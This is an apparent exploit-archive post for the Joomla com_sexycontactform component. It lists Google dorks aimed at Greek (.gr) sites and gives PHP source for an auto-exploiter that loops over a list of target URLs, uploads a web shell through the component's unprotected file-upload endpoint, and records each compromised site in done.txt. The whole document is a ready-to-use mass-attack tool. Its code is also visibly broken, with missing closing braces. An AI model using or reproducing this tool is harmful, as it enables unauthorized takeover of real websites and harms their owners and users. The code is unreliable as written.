Joomla com_sexycontactform auto-exploiter

Title: Joomla com_sexycontactform auto-exploiter

Google Dork: "/components/com_sexycontactform/" site:gr
Google Dork: "Powered by sexycontact" site:gr
Google Dork: inurl:"sexy-contact-form" site:gr

Source code:
<?php
function banner(){
echo "========= SexyContactForm Auto Exploiter ==============\n\n";
echo "Coded By  : KkK1337\n\n";
echo "========== Done =============\n\n";
}
banner();
$url=file($argv[1]);
foreach ($url as $sites){
$sites=trim($sites);
$pro="credits.php";
$upload="$sites/components/com_sexycontactform/fileupload/files/$pro";
$ch = curl_init ();
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($ch, CURLOPT_POST, 1);
        curl_setopt ($ch, CURLOPT_URL, "$sites/components/com_sexycontactform/fileupload/index.php");
        @curl_setopt ($ch, CURLOPT_POSTFIELDS, array ("files[]" => "@".$pro));
curl_exec($ch);
        if (preg_match ("/credits.php/i", @file_get_contents("$sites/components/com_sexycontactform/fileupload/index.php")))
        {
            echo "[Shell Uploaded] => $sites\n";
            $ux = "".$upload."\r\n"; $save=fopen('done.txt','ab'); fwrite($save,"$ux");
else{
echo "[ERROR] => $sites\n";
?>